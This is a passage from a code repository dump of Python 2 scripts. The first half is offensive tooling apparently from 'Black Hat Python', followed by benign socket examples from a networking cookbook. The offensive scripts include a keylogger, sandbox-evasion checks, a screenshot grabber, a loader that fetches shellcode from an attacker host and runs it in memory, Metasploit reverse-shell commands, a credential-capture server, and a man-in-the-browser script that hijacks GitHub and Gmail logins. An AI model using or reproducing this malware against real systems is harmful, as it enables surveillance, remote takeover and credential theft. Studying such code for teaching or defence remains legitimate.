"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" 33 | "\x53\xff\xd5" 34 | ) 35 | 36 | with open("shellcode.bin", "wb") as f: 37 | f.write(base64.b64encode(shellcode)) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 8/keylogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 有趣的键盘记录 5 | 6 | from ctypes import * 7 | import pythoncom 8 | import pyHook 9 | import win32clipboard 10 | 11 | user32 = windll.user32 12 | kernel32 = windll.kernel32 13 | psapi = windll.psapi 14 | current_window = None 15 | 16 | def get_current_process(): 17 | # Get a handle to the foreground window 18 | hwnd = user32.GetForegroundWindow() 19 | 20 | # Find the process ID 21 | pid = c_ulong(0) 22 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 23 | 24 | # Store the current process ID 25 | process_id = "%d" % pid.value 26 | 27 | # Grab the executable 28 | executable = create_string_buffer("\x00" * 512) 29 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 30 | 31 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 32 | 33 | # Now read it's title 34 | window_title = create_string_buffer("\x00" * 512) 35 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 36 | 37 | # Print out the header if we're in the right process 38 | print 39 | print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) 40 | print 41 | 42 | # Close handles 43 | kernel32.CloseHandle(hwnd) 44 | kernel32.CloseHandle(h_process) 45 | 46 | def KeyStroke(event): 47 | global current_window 48 | 49 | # Check to see if target changed windows 50 | if event.WindowName != current_window: 51 | current_window = event.WindowName 52 | get_current_process() 53 | 54 | # If they pressed a standard key 55 | if event.Ascii > 32 and event.Ascii < 127: 56 | print chr(event.Ascii), 57 | else: 58 | # If [Ctrl-V], get the value on the clipboard 59 | if event.Key == "V": 60 | win32clipboard.OpenClipboard() 61 | pasted_value = win32clipboard.GetClipboardData() 62 | win32clipboard.CloseClipboard() 63 | print "[PASTE] - %s" % (pasted_value), 64 | else: 65 | print "[%s]" % event.Key, 66 | 67 | # Pass execution to next hook registered 68 | return True 69 | 70 | # Create and register a hook manager 71 | kl = pyHook.HookManager() 72 | kl.KeyDown = KeyStroke 73 | 74 | # Register the hook and execute forever 75 | kl.HookKeyboard() 76 | pythoncom.PumpMessages() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 8/sandbox_detect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 沙盒检测 5 | 6 | import ctypes 7 | import random 8 | import time 9 | import sys 10 | 11 | user32 = ctypes.windll.user32 12 | kernel32 = ctypes.windll.kernel32 13 | 14 | keystrokes = 0 15 | mouse_clicks = 0 16 | double_clicks = 0 17 | 18 | class LASTINPUTINFO(ctypes.Structure): 19 | _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)] 20 | 21 | def get_last_input(): 22 | struct_lastinputinfo = LASTINPUTINFO() 23 | struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO) 24 | 25 | # Get last input registered 26 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 27 | 28 | # Now determine how long the machine has been running 29 | run_time = kernel32.GetTickCount() 30 | 31 | elapsed = run_time - struct_lastinputinfo.dwTime 32 | 33 | print "[*] It's been %d milliseconds since the last input event." % elapsed 34 | 35 | return elapsed 36 | 37 | def get_key_press(): 38 | global mouse_clicks 39 | global keystrokes 40 | 41 | for i in range(0,0xff): 42 | if user32.GetAsyncKeyState(i) == -32767: 43 | # 0x1 is the code for a left mouse click 44 | if i == 1: 45 | mouse_clicks += 1 46 | return time.time() 47 | else: 48 | keystrokes += 1 49 | return None 50 | 51 | def detect_sandbox(): 52 | global mouse_clicks 53 | global keystrokes 54 | 55 | max_keystrokes = random.randint(10,25) 56 | max_mouse_clicks = random.randint(5,25) 57 | 58 | double_clicks = 0 59 | max_double_clicks = 10 60 | double_click_threshold = 0.250 61 | first_double_click = None 62 | 63 | average_mousetime = 0 64 | max_input_threshold = 30000 65 | 66 | previous_timestamp = None 67 | detection_complete = False 68 | 69 | last_input = get_last_input() 70 | 71 | # If we hit our threshold let's bail out 72 | if last_input >= max_input_threshold: 73 | sys.exit(0) 74 | 75 | while not detection_complete: 76 | keypress_time = get_key_press() 77 | 78 | if keypress_time is not None and previous_timestamp is not None: 79 | # Calculate the time between double clicks 80 | elapsed = keypress_time - previous_timestamp 81 | 82 | # The user double clicked 83 | if elapsed <= double_click_threshold: 84 | double_clicks += 1 85 | 86 | if first_double_click is None: 87 | # Grab the timestamp of the first double click 88 | first_double_click = time.time() 89 | else: 90 | # Did they try to emulate a rapid succession of clicks? 91 | if double_clicks == max_double_clicks: 92 | if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold): 93 | sys.exit(0) 94 | 95 | # We are happy there's enough user input 96 | if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks: 97 | return 98 | 99 | previous_timestamp = keypress_time 100 | 101 | elif keypress_time is not None: 102 | previous_timestamp = keypress_time 103 | 104 | detect_sandbox() 105 | print "We are ok!" -------------------------------------------------------------------------------- /Black Hat Python/Chapter 8/screenshotter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 截取屏幕快照 5 | 6 | import win32gui 7 | import win32ui 8 | import win32con 9 | import win32api 10 | 11 | # Grab a handle to the main desktop window 12 | hdesktop = win32gui.GetDesktopWindow() 13 | 14 | # Determine the size of all monitors in pixels 15 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 16 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 17 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 18 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 19 | 20 | # Create a device context 21 | desktop_dc = win32gui.GetWindowDC(hdesktop) 22 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 23 | 24 | # Create a memory based device context 25 | mem_dc = img_dc.CreateCompatibleDC() 26 | 27 | # Create a bitmap object 28 | screenshot = win32ui.CreateBitmap() 29 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 30 | mem_dc.SelectObject(screenshot) 31 | 32 | # Copy the screen into our memory device context 33 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 34 | 35 | # Save the bitmap to a file 36 | screenshot.SaveBitmapFile(mem_dc, 'C:\\WINDOWS\\Temp\\screenshot.bmp') 37 | 38 | # Free our objects 39 | mem_dc.DeleteDC() 40 | win32gui.DeleteObject(screenshot.GetHandle()) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 8/shell_exec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Python 方式的 shellcode 执行 5 | 6 | # Metasploit 下载 7 | # http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run 8 | # http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run 9 | # http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe 10 | 11 | # 使用 msfconsole 生成 shellcode.raw 12 | # msf > use windows/shell/reverse_tcp 13 | # msf payload(reverse_tcp) > generate -o LHOST=192.168.1.222,LPORT=4444 -t raw -f shellcode.raw 14 | 15 | # 在 Linux 中用命令生成 shellcode.raw 16 | # msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.222 LPORT=4444 -f raw -o shellcode.raw 17 | 18 | # 直接使用 generate_shellcode.py 生成 shellcode.bin 19 | 20 | # 启动渗透监听(192.168.1.222 为攻击电脑地址) 21 | # msf > use exploit/multi/handler 22 | # msf exploit(handler) > set PAYLOAD windows/shell/reverse_tcp 23 | # msf exploit(handler) > set LHOST 192.168.1.222 24 | # msf exploit(handler) > set LPORT 4444 25 | # msf exploit(handler) > exploit 26 | 27 | # 在被攻击电脑上运行此脚本 28 | 29 | # 直接生成的可执行文件测试(含加密方法) 30 | # msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.222 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o shellcode.exe 31 | 32 | import urllib2 33 | import ctypes 34 | import base64 35 | 36 | # Retrieve the shellcode from our web server 37 | url = "http://192.168.1.222:8000/shellcode.bin" 38 | response = urllib2.urlopen(url) 39 | 40 | # Decode the shellcode from base64 41 | shellcode = base64.b64decode(response.read()) 42 | 43 | # Create a buffer in memory 44 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 45 | 46 | # Create a function pointer to our shellcode 47 | shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) 48 | 49 | # Call our shellcode 50 | shellcode_func() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 9/cred_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 创建接收服务器 5 | 6 | import SimpleHTTPServer 7 | import SocketServer 8 | import urllib 9 | import socket 10 | import urlparse 11 | 12 | class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 13 | def do_POST(self): 14 | content_length = int(self.headers['Content-Length']) 15 | # content_length = int(self.headers.getheaders("Content-Length")[0]) 16 | 17 | creds = self.rfile.read(content_length).decode('utf-8') 18 | print creds 19 | 20 | # 重定向到登陆页面(需要再次登陆) 21 | site = self.path[1:] 22 | self.send_response(301) 23 | self.send_header('Location', urllib.unquote(site)) 24 | self.end_headers() 25 | 26 | server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) 27 | server.serve_forever() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 9/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 解密数据 5 | 6 | import zlib 7 | import base64 8 | from Crypto.PublicKey import RSA 9 | from Crypto.Cipher import PKCS1_OAEP 10 | 11 | encrypted = """bntN8G/8GmtqdY/XNv2P9hwScNJS8QBiAiqqHEEZZ5lDZIt4qR/Q5sQJ0x6kI9pnRZoFwjEYi7yn 12 | kJB85XTQbSsHTYGHXyaSGei0SfjF5dUbbKB71nq9AsiQKmU6v94jmROvY5op9BXgpnfAVrolTi6K 13 | rs4EbflT6fwGs+fB5C+xOmVO4DJRlBS9sKKybbncPW9L8pNmHFiDCg6u6/0GIprjVgPuI/MTH4t2 14 | Oxfs5JLzdCCHT2SqqmL4pV+B7xMB/1kGM6kFiUOd0JkLed7SdDw2HHsWp2BSZR4/xy+iCOGr7rkU 15 | o3cz2IeCmd34R5Gl6aB6kZuNshuSA0PBYmEchg==""" 16 | 17 | private_key = """-----BEGIN RSA PRIVATE KEY----- 18 | MIIEpAIBAAKCAQEA2u5E1QysrRsk7/EsnPeDBd3upWYQsH1AiphukaRCdAQ5yTVP 19 | wYaSUjDSGrdv6BVUhzJ0xmlrkOJwNA2MuCJZUQMvjUaMhMZyEDs+oXFZLb6jAJ5X 20 | WFdS31yRwROOfGe7LynfjKFwxgVr2MdiLHgOiErYw4bCvlChUVgOrgs2OiWfc9sw 21 | bNMkgU5Uj2VLqB5v4Ck+cFaYSCExPSytpHsWm7uGuLdAB748TJDFRxs/Ush/yvfp 22 | xZPIfdfLXk1CZn0uynfLskKXkl0Gr8sU+uuZ6DKPWrv/lAL6fqm9L4uxPofaWqlr 23 | 3uHERy1xgVUyCdB3kN/QgiVSWDja3TKj58hBEwIDAQABAoIBAFRSlVxhp1h9Lfrk 24 | r0Q96M8nrbUy3Ja9h1Baaava0mWRAxjGWdO2G0Fg4Gu933JKVOZFvsh07iM9s+24 25 | kkyRnkkfqv8E/zZcoK4zw2m3GJwP4wRn+EhkSd0R8GmnOKgd4/DEdf/aZm8+w00Z 26 | bmymSSKhgV+91eAreha0jeLnGpnGEYDmtECD13x+0cwWyTngyqL3SqZGynPDUPUl 27 | /YT0a/1B+u+Aq5Ilo7qQB2JxY8hvMm76PinnhDo14BomAeUfzjaBt+3OAvJeo6N/ 28 | g90CJq1eQaHBm3bO3km0mRq096dsN4sC3NhV5xYxDBO1BrCmRpamdILMeX6Y0DMw 29 | C216F7ECgYEA6JrqnJQZOPJhCOOx3kfqHI+y6W2ezx3tTp3TuazeAEjJ3zzXhqql 30 | DkWFvgYV2Q6PfBgsFnHscTDnm7iccqmZ4PMaMy7osmPDjbUoz5I0976KA7nA02OK 31 | ObgePxiOyvY5OnwiwwPa+8Q5+U4H1g3ZxvAIRrK9KmtkIM/jbblrRucCgYEA8PNE 32 | Daho3d0JQ4cab0Fksl2wGpPp+v8FaHg178d7KdHhHwAbaHGiKBUU8pSFYxVwTIPV 33 | KijbwK1I18IGnGNwpbT3GRiUHzrgFHOszgjP6PpTv+ZRgfwoInniTGGxHbvnrNac 34 | fHuqW0NHgIJQ7Np3LKIWxV7c92+yrsY2dZe4qvUCgYEAnKmaUpM82aoFyOLyrW9q 35 | MopmSenXCFBzwHt0Wp4fd7mOnZhw4PaV7KLOjUmz9VllMoNlTki0oxf5JlyUonWw 36 | el3By69QcrXWw967+fHTUvk2I4Q8ZyOnuXBUjtKPeguUR9vL3eT+3IsxMMRparYx 37 | c1e/ez5vQd7KtX7PAtvbcQkCgYEApqHl33gnRcAWJwApFOXpiLzoDAldGDsDd3Mj 38 | Afc3wv0lrfW5/qoPVZ72xKhX8uUhq5jEc4qcJwzvwl6pib/vaHnVJSLtVQe3bg1t 39 | ZXOMrXdpMd5LYhSLgQQ/r0kkXwbTOqGUyTYQ41qM+V+mLZcMMe7KxqZLNEeoD9x+ 40 | TyalDH0CgYA45CmvxYefnkg5C1dDZUmhszxd9DmWdTwyE/5J3ZfRt9k3hlr+8Z+b 41 | tqzwj3XzMOVy3n5OBP7pUNtQSFqP1FhXpQ6KCgdScR6//BWNPm4j60S5GqgRXldp 42 | vl+ko4AS7f2G1lCHL7LEeRRQFgynepnHzrQMz9uMd7Dp9535q+JqFw== 43 | -----END RSA PRIVATE KEY-----""" 44 | 45 | rsakey = RSA.importKey(private_key) 46 | rsakey = PKCS1_OAEP.new(rsakey) 47 | 48 | offset = 0 49 | decrypted = "" 50 | encrypted = base64.b64decode(encrypted) 51 | 52 | while offset < len(encrypted): 53 | decrypted += rsakey.decrypt(encrypted[offset:offset+256]) 54 | offset += 256 55 | 56 | # Now we decompress to original 57 | plaintext = zlib.decompress(decrypted) 58 | 59 | print plaintext -------------------------------------------------------------------------------- /Black Hat Python/Chapter 9/keygen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 简单快速的 RSA 公私钥生成脚本 5 | 6 | # pip install pycrypto 7 | # 修改 C:\Python27\Lib\site-packages\crypto 为 Crypto(注意大小写) 8 | 9 | from Crypto.PublicKey import RSA 10 | new_key = RSA.generate(2048, e=65537) 11 | public_key = new_key.publickey().exportKey("PEM") 12 | private_key = new_key.exportKey("PEM") 13 | 14 | print public_key 15 | print private_key -------------------------------------------------------------------------------- /Black Hat Python/Chapter 9/mitb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 基于浏览器的中间人攻击 5 | 6 | import win32com.client 7 | import time 8 | import urlparse 9 | import urllib 10 | 11 | data_receiver = "http://localhost:8080/" 12 | 13 | target_sites = {} 14 | 15 | target_sites["github.com"] = { 16 | "logout_url": None, 17 | "logout_form": "/logout", 18 | "login_url": "https://github.com/login", 19 | "login_form_index": 0, 20 | "owned": False 21 | } 22 | 23 | target_sites["accounts.google.com"] = { 24 | "logout_url": "https://accounts.google.com/Logout?hl=en&continue=https://accounts.google.com/ServiceLogin%3Fservice%3Dmail", 25 | "logout_form": None, 26 | "login_url": None, 27 | "login_form_index": 0, 28 | "owned": False 29 | } 30 | 31 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 32 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 33 | 34 | clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' 35 | 36 | windows = win32com.client.Dispatch(clsid) 37 | 38 | def wait_for_browser(browser): 39 | # Wait for the browser to finish loading a page 40 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 41 | time.sleep(0.1) 42 | 43 | return 44 | 45 | while True: 46 | for browser in windows: 47 | url = urlparse.urlparse(browser.LocationUrl) 48 | print url.hostname 49 | 50 | if url.hostname in target_sites: 51 | if target_sites[url.hostname]["owned"]: 52 | continue 53 | 54 | # If there is an URL we can just redirect 55 | if target_sites[url.hostname]["logout_url"]: 56 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 57 | wait_for_browser(browser) 58 | time.sleep(5) 59 | else: 60 | # Retrieve all elements in the document 61 | full_doc = browser.Document.all 62 | 63 | # Iterate looking for the logout form 64 | for i in full_doc: 65 | try: 66 | # Find the logout form and submit it 67 | if i.action == target_sites[url.hostname]["logout_form"]: 68 | i.submit() 69 | wait_for_browser(browser) 70 | except: 71 | pass 72 | try: 73 | # 跳转到指定的登陆地址 74 | if target_sites[url.hostname]["login_url"]: 75 | browser.Navigate(target_sites[url.hostname]["login_url"]) 76 | wait_for_browser(browser) 77 | 78 | # Now we modify the login form 79 | login_index = target_sites[url.hostname]["login_form_index"] 80 | login_page = urllib.quote(browser.LocationUrl) 81 | browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page) 82 | print browser.Document.forms[login_index].action 83 | target_sites[url.hostname]["owned"] = True 84 | except Exception, e: 85 | print e 86 | pass 87 | 88 | time.sleep(5) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/echo_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 简单的回显客户端/服务器应用(客户端) 4 | 5 | import socket 6 | import sys 7 | import argparse 8 | 9 | host = 'localhost' 10 | 11 | def echo_client(port): 12 | """A simple echo client""" 13 | # Create a TCP socket 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | # Connect the socket to the Server 16 | server_address = (host, port) 17 | print "Connecting to %s port %s" % server_address 18 | sock.connect(server_address) 19 | 20 | # Send data 21 | try: 22 | # Send data 23 | message = "Test message. This will be echoed." 24 | print "Sending: %s" % message 25 | sock.sendall(message) 26 | # Look for the response 27 | amount_received = 0 28 | amount_expected = len(message) 29 | while amount_received < amount_expected: 30 | data = sock.recv(16) 31 | amount_received += len(data) 32 | print "Received: %s" % data 33 | except socket.error, e: 34 | print "Socket error: %s" % str(e) 35 | except Exception, e: 36 | print "Other exception: %s" % str(e) 37 | finally: 38 | print "Closing connection to the server" 39 | sock.close() 40 | 41 | if __name__ == '__main__': 42 | parser = argparse.ArgumentParser(description='Socket Server Example') 43 | parser.add_argument('--port', action="store", dest="port", type=int, required=True) 44 | given_args = parser.parse_args() 45 | port = given_args.port 46 | echo_client(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/echo_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 简单的回显客户端/服务器应用(服务器) 4 | 5 | import socket 6 | import sys 7 | import argparse 8 | 9 | host = 'localhost' 10 | data_payload = 2048 11 | backlog = 5 12 | 13 | def echo_server(port): 14 | """A simple echo server""" 15 | # Create a TCP socket 16 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | # Enable reuse address/port 18 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 19 | # Bind the socket to the port 20 | server_address = (host, port) 21 | print "Starting up echo server on %s port %s" % server_address 22 | sock.bind(server_address) 23 | # Listen to clients, backlog argument specifies the max no. of queued connections 24 | sock.listen(backlog) 25 | 26 | while True: 27 | print "Waiting to receive message from client" 28 | client, address = sock.accept() 29 | data = client.recv(data_payload) 30 | if data: 31 | print "Data: %s" % data 32 | client.send(data) 33 | print "Send %s bytes back to %s" % (data, address) 34 | # End connection 35 | client.close() 36 | 37 | if __name__ == '__main__': 38 | parser = argparse.ArgumentParser(description='Socket Server Example') 39 | parser.add_argument('--port', action="store", dest="port", type=int, required=True) 40 | given_args = parser.parse_args() 41 | port = given_args.port 42 | echo_server(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/find_service_name.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过指定的端口和协议找到服务名 4 | 5 | import socket 6 | 7 | def find_service_name(): 8 | protocolname = 'tcp' 9 | for port in [80, 25]: 10 | print "Port: %s => service name: %s" % (port, socket.getservbyport(port, protocolname)) 11 | print "Port: %s => service name: %s" % (53, socket.getservbyport(53, 'udp')) 12 | 13 | if __name__ == '__main__': 14 | find_service_name() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/integer_conversion.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 主机字节序和网络字节序之间相互转换 4 | 5 | # socket.ntohl() 将一个无符号长整形数从网络字节序转换为长整形主机字节序 6 | # socket.ntohs() 将一个无符号短整形数从网络字节序转换为短整形主机字节序 7 | 8 | import socket 9 | 10 | def convert_integer(): 11 | data = 1234 12 | # 32-bit 13 | print "Original: %s => Long host byte order: %s, Network byte order: %s" % (data, socket.ntohl(data), socket.htonl(data)) 14 | # 16-bit 15 | print "Original: %s => Short host byte order: %s, Network byte order: %s" % (data, socket.ntohs(data), socket.htons(data)) 16 | 17 | if __name__ == '__main__': 18 | convert_integer() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/ipv4_address_conversion.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 将 IPv4 地址转换成不同的格式 4 | 5 | # socket.inet_aton() 将一个字符串 IP 地址转换为一个 32 位的网络序列IP地址 6 | # socket.inet_ntoa() 将一个十进制网络字节序转换为点分十进制 IP 格式的字符串 7 | 8 | import socket 9 | from binascii import hexlify 10 | 11 | def convert_ipv4_address(): 12 | for ip_addr in ['127.0.0.1', '192.168.0.1']: 13 | packed_ip_addr = socket.inet_aton(ip_addr) 14 | unpacked_ip_addr = socket.inet_ntoa(packed_ip_addr) 15 | print "IP address: %s => packed: %s, unpacked: %s" % (ip_addr, hexlify(packed_ip_addr), unpacked_ip_addr) 16 | 17 | if __name__ == '__main__': 18 | convert_ipv4_address() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/local_machine_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 打印设备名和 IPv4 地址 4 | 5 | import socket 6 | 7 | def print_machine_info(): 8 | host_name = socket.gethostname() 9 | ip_address = socket.gethostbyname(host_name) 10 | print "Host name: %s" % host_name 11 | print "IP address: %s" % ip_address 12 | print socket.gethostbyname_ex(host_name) 13 | 14 | if __name__ == '__main__': 15 | print_machine_info() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/modify_buff_size.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 修改套接字发送和接收的缓冲区大小 4 | 5 | import socket 6 | 7 | SEND_BUF_SIZE = 4096 8 | RECV_BUF_SIZE = 4096 9 | 10 | def modify_buff_size(): 11 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | 13 | # Get the size of the socket's send buffer 14 | bufsize = sock.getsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF) 15 | print "Buffer size [Before]: %d" % bufsize 16 | 17 | # setsockopt(level, optname, value) 18 | sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1) 19 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, SEND_BUF_SIZE) 20 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, RECV_BUF_SIZE) 21 | 22 | bufsize = sock.getsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF) 23 | print "Buffer size [After]: %d" % bufsize 24 | 25 | if __name__ == '__main__': 26 | modify_buff_size() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/print_machine_time.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 从网络时间服务器获取并打印当前时间 4 | # pip install ntplib 5 | 6 | import ntplib 7 | from time import ctime 8 | 9 | def print_time(): 10 | ntp_client = ntplib.NTPClient() 11 | response = ntp_client.request('pool.ntp.org') 12 | print ctime(response.tx_time) 13 | 14 | if __name__ == '__main__': 15 | print_time() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/remote_machine_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 获取远程设备的 IP 地址 4 | 5 | import socket 6 | 7 | def get_remote_machine_info(): 8 | remote_host = 'www.079l.com' 9 | try: 10 | print "IP address: %s" % socket.gethostbyname(remote_host) 11 | print socket.gethostbyname_ex(remote_host) 12 | except socket.error, err_msg: 13 | print "%s: %s" % (remote_host, err_msg) 14 | 15 | if __name__ == '__main__': 16 | get_remote_machine_info() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/reuse_socket_address.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 重用套接字地址 4 | 5 | import sys 6 | import socket 7 | 8 | def reuse_socket_addr(): 9 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | 11 | # Get the old state of the SO_REUSEADDR option 12 | old_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR) 13 | print "Old sock state: %s" % old_state 14 | 15 | # Enable the SO_REUSEADDR option 16 | # sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 17 | new_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR) 18 | print "New sock state: %s" % new_state 19 | 20 | local_port = 8282 21 | 22 | srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 24 | srv.bind(('', local_port)) 25 | srv.listen(1) 26 | print "Listening on port: %s" % local_port 27 | 28 | while True: 29 | try: 30 | connection, addr = srv.accept() 31 | print 'Connected by %s: %s' % (addr[0], addr[1]) 32 | except KeyboardInterrupt: 33 | break 34 | except socket.error, msg: 35 | print '%s' % (msg,) 36 | 37 | if __name__ == '__main__': 38 | reuse_socket_addr() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/sntp_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # SNTP 客户端 4 | 5 | import socket 6 | import struct 7 | import sys 8 | import time 9 | 10 | NTP_SERVER = "0.uk.pool.ntp.org" 11 | TIME1970 = 2208988800L 12 | 13 | def sntp_client(): 14 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 15 | data = '\x1b' + 47 * '\0' 16 | client.sendto(data, (NTP_SERVER, 123)) 17 | data, address = client.recvfrom(1024) 18 | if data: 19 | print 'Response received from: ', address 20 | t = struct.unpack('!12I', data)[10] 21 | t -= TIME1970 22 | print '\tTime=%s' % time.ctime(t) 23 | 24 | if __name__ == '__main__': 25 | sntp_client() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/socket_errors.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 优雅地处理套接字错误 4 | 5 | # socket.herror C API 中抛出的异常 6 | # socket.timeout 套接字超时后抛出的异常(如果在套接字中使用 settimeout() 方法) 7 | 8 | import sys 9 | import socket 10 | import argparse 11 | 12 | def main(): 13 | # setup argument parsing 14 | parser = argparse.ArgumentParser(description='Socket Error Examples') 15 | parser.add_argument('--host', action="store", dest="host", required=False) 16 | parser.add_argument('--port', action="store", dest="port", type=int, required=False) 17 | parser.add_argument('--file', action="store", dest="file", required=False) 18 | given_args = parser.parse_args() 19 | host = given_args.host 20 | port = given_args.port 21 | filename = given_args.file 22 | 23 | # First try_except block -- create socket 24 | try: 25 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 26 | except socket.error, e: 27 | print "Error creating socket: %s" % e 28 | sys.exit(1) 29 | 30 | # Second try-except block -- connect to given host/port 31 | try: 32 | s.connect((host, port)) 33 | except socket.gaierror, e: 34 | print "Address-related error connecting to server: %s" % e 35 | sys.exit(1) 36 | except socket.error, e: 37 | print "Connection error: %s" % e 38 | sys.exit(1) 39 | 40 | # Third try-except block -- sending data 41 | try: 42 | s.sendall("GET %s HTTP/1.0\r\n\r\n" % filename) 43 | except socket.error, e: 44 | print "Error sending data: %s" % e 45 | sys.exit(1) 46 | 47 | while 1: 48 | # Fourth try-except block -- waiting to receive data from reomte host 49 | 50 | try: 51 | buf = s.recv(2048) 52 | except socket.error, e: 53 | print "Error receiving data: %s" % e 54 | sys.exit(1) 55 | if not len(buf): 56 | break 57 | # write the received data 58 | sys.stdout.write(buf) 59 | 60 | if __name__ == '__main__': 61 | main() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/socket_modes.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 把套接字改成阻塞或非阻塞模式 4 | 5 | import socket 6 | 7 | def test_socket_modes(): 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | 10 | # 1 阻塞模式 11 | # 0 非阻塞模式 12 | s.setblocking(1) 13 | 14 | s.settimeout(0.5) 15 | s.bind(("127.0.0.1", 0)) 16 | 17 | socket_address = 